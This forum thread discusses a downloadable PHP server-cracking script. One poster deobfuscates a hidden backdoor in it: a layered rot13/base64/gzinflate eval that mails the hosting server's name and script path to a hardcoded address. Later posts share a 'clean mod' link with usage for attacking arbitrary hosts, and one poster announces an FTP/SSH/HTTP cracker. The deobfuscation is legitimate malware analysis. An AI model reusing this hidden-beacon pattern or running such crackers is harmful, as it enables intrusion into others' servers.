Serskoria - December 18, 2010, 12:55 am

Did anyone try this? I think its fake...

Mongrel - December 18, 2010, 2:04 am

It's the real deal actually.. no infectious files also.. just 2 images and a php script

Shannon R. - December 18, 2010, 2:07 am

The GUI turns me off, but if Jeff T says it's legit, then it is.

Uncomplicated - December 18, 2010, 9:20 am

The title sounds weird :D btw let me check. I'll report back soon .

Ok, I checked it :D

Line 70:

PHP Code

```
<?php
eval(str_rot13(
'riny(tmvasyngr(onfr64_qrpbqr(fge_ebg13("41LJLVawVVCJD3YNCnMNilAC0PF+jr6uSrF6SOLOQZ
4BIVBxay6V4tIkoD6l4IzUnBwFOzsFKwUIBT0FoGIAuXygTGJRUIII4ZSfq6SjJJbmImkMqKT8wtM
gQyHDLyGWSOXrKSJIB5airIBfnRRkD78qONwaQhmDQBkwZg+1LzUoDKHIAM5WgAteiAXKADtA9
oAgA=")))));));
```

broken down two (changed eval to echo)

PHP Code

```
<?php
eval(gzinflate(base64_decode(str_rot13(
"41YWYInjIIPWQ3LAPaZAvynP0CS+we6hFeS6FBYBDM4OVIOknI6l4gVxbQ6y4VmHaOjSBmfSXj
HyOG0SbTyNhKltGTWEHJVyy4MFsd6FwyWWozVzxZdXG8jgZtDIUQYltJFBKeXFWyO5nveVOsaE
ExQ78dBAjnDuzQDOxjMt+1YmHbQXUVNz5JtNgrvNKXNQgN9bNtN=")))));exit;
```

further broken down to

PHP Code

```
<?php
$msgs = $_SERVER["SERVER_NAME"].$_SERVER["SCRIPT_NAME"];
$subj = "Shell >> : " . $msgs;
$to = array ("om","tmai","j_amr1","@ho","l.c");
$see = $to[2].$to[3].$to[1].$to[4].$to[0];
$send = @mail($see,$subj,$msgs);
/* sends mail to j_amr1@hotmail.com */
```

It sends an email to j_amr1@hotmail.com

Seems like the scriptor is also trying to crack the server on which this will be hosted (of course he helps you in doing that too).

Marine Corps - December 19, 2010, 12:44 am

Images are bad, please reupload.

barney- - December 19, 2010, 1:15 pm

I am making my own FTP, SSH, and HTTP cracker in PHP.

I will release here first when I am done.

nofear1999 - December 23, 2010, 11:22 am

Here's a clean mod.

<http://dl.dropbox.com/u/7913228/xp-Cracker%20v2%20CLEAN%20MOD.php>

Now you can set the host to crack.

Simple mod.

I also removed the email sending.

Usage:

<http://yoursite.com/pathtofile.php?target=>

e.g

<http://google.com/pathtofile.php?target=localhost> would hack google.

<http://google.com/pathtofile.php?target=lolwtf.com> would hack lolwtf.com

racer93 - October 16, 2012, 8:39 am

can you upload the file again?/??please

developr - October 16, 2012, 9:53 am

Nice 3rd post. In a 2010 Thread. Wow!

skyle17 - February 13, 2013, 1:02 am

nice..

thanks for this bro.

?
